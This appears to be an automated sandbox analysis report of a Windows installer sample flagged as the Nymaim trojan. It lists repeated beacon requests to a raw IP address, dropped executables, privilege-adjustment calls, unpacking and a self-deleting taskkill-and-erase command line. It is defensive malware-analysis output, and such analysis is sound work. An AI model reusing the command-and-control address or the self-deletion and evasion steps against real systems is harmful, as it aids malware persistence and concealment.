Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.342044158.00000000006DA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 2.2.fhsearcher65.exe.3770000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.3770000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.339882305.0000000003770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040914C AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_0040914C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409180 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_00409180
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004536F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	1_2_004536F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004081A8	0_2_004081A8
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0043D2D0	1_2_0043D2D0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004777A8	1_2_004777A8
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00461C80	1_2_00461C80
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00469F50	1_2_00469F50
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00458180	1_2_00458180
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00430454	1_2_00430454
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004446E8	1_2_004446E8
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004348B0	1_2_004348B0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00444AF4	1_2_00444AF4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047CC54	1_2_0047CC54
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045B078	1_2_0045B078
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00413202	1_2_00413202
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004832E4	1_2_004832E4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0042F9F8	1_2_0042F9F8
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00443A48	1_2_00443A48
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00433BAC	1_2_00433BAC
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00463C84	1_2_00463C84
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00443FF0	1_2_00443FF0
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404490	2_2_00404490
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004056A0	2_2_004056A0
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00406800	2_2_00406800
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00409A10	2_2_00409A10
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00406AA0	2_2_00406AA0
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404D40	2_2_00404D40
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00405F40	2_2_00405F40
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0042B06A	2_2_0042B06A
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00422038	2_2_00422038
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004290E9	2_2_004290E9
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00415486	2_2_00415486
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004156B8	2_2_004156B8
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00422759	2_2_00422759
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404840	2_2_00404840
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004198C0	2_2_004198C0
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00426C00	2_2_00426C00
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00447D2D	2_2_00447D2D
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00410E00	2_2_00410E00
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0042AF4A	2_2_0042AF4A
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404F20	2_2_00404F20
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_1000F670	2_2_1000F670
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_1000EC61	2_2_1000EC61

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00406A24 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00403418 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00405974 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00455538 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00445624 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 004034AC appears 84 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00455348 appears 91 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 0040788C appears 37 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00445354 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00433AC4 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 0040369C appears 198 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00408BA4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: String function: 00451710 appears 67 times
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: String function: 10003C50 appears 33 times
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: String function: 0040FD90 appears 54 times

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0042EBCC NtdllDefWindowProc_A,	1_2_0042EBCC
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00423B68 NtdllDefWindowProc_A,	1_2_00423B68
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004125BC NtdllDefWindowProc_A,	1_2_004125BC
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00454CF8 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	1_2_00454CF8

Source: is-L5RJL.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-L5RJL.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-L5RJL.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-L5RJL.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-GCUFF.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-GCUFF.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-GCUFF.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-GCUFF.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
Source: file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6 vs file.exe
Source: file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
Source: file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6 vs file.exe

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp 07BC7383ACBE75BC37F3CBDEA92FBE047FAA371173FEF57A7A082A0D9F7C93CF

Source: fhsearcher65.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_SYSHEAP, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp "C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp" /SL4 $2042C "C:\Users\user\Desktop\file.exe" 2325944 52736
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process created: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe"
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "fhsearcher65.exe" /f & erase "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "fhsearcher65.exe" /f
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp "C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp" /SL4 $2042C "C:\Users\user\Desktop\file.exe" 2325944 52736	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process created: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe"	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "fhsearcher65.exe" /f & erase "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "fhsearcher65.exe" /f	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040914C AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_0040914C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409180 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_00409180
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004536F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	1_2_004536F0

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "fhsearcher65.exe")

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp

Jump to behavior

Source: classification engine

Classification label: mal88.troj.evad.winEXE@12/31@0/5

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

2_2_00401B30

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Code function: 1_2_00453F20 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

1_2_00453F20

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

2_2_00402BF0

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_00405350 CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,FindCloseChangeNotification,

2_2_00405350

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4728:120:WilError_01

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004098C8 FindResourceA,SizeofResource,LoadResource,LockResource,

0_2_004098C8

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

File created: C:\Program Files (x86)\fhSearcher

Jump to behavior

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Command line argument: `a}{	2_2_00409A10
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Command line argument: MFE.	2_2_00409A10
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Command line argument: ZK]Z	2_2_00409A10
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Command line argument: ZK]Z	2_2_00409A10

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2576538 > 1048576

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Unpacked PE file: 2.2.fhsearcher65.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Unpacked PE file: 2.2.fhsearcher65.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R;.rff64:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406518 push 00406555h; ret	0_2_0040654D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004040B5 push eax; ret	0_2_004040F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404185 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404206 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C218 push eax; ret	0_2_0040C219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004042E8 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404283 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408C50 push 00408C83h; ret	0_2_00408C7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407EA0 push ecx; mov dword ptr [esp], eax	0_2_00407EA5
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004098E4 push 00409921h; ret	1_2_00409919
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0040A023 push ds; ret	1_2_0040A024
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004062C4 push ecx; mov dword ptr [esp], eax	1_2_004062C5
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00430454 push ecx; mov dword ptr [esp], eax	1_2_00430459
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047A6CC push 0047A7AAh; ret	1_2_0047A7A2
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004106B4 push ecx; mov dword ptr [esp], edx	1_2_004106B9
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00450740 push 00450773h; ret	1_2_0045076B
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0041290C push 0041296Fh; ret	1_2_00412967
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004429C0 push ecx; mov dword ptr [esp], ecx	1_2_004429C4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00456D70 push 00456DB4h; ret	1_2_00456DAC
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045AD70 push ecx; mov dword ptr [esp], eax	1_2_0045AD75
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0040D00C push ecx; mov dword ptr [esp], edx	1_2_0040D00E
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00405485 push eax; ret	1_2_004054C1
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00405555 push 00405761h; ret	1_2_00405759
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0040F56C push ecx; mov dword ptr [esp], edx	1_2_0040F56E
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004055D6 push 00405761h; ret	1_2_00405759
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00405653 push 00405761h; ret	1_2_00405759
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004056B8 push 00405761h; ret	1_2_00405759
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047BC58 push ecx; mov dword ptr [esp], ecx	1_2_0047BC5D
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00419C0C push ecx; mov dword ptr [esp], ecx	1_2_00419C11
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00409FF7 push ds; ret	1_2_0040A021
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004311AD push esi; ret	2_2_004311B6

Source: fhsearcher65.exe.1.dr

Static PE information: section name: .rff64

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Code function: 1_2_0044A890 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_0044A890

Source: initial sample

Static PE information: section name: .text entropy: 7.387911404385176

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	File created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Program Files (x86)\fhSearcher\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File created: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00423BF0 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423BF0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00423BF0 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423BF0
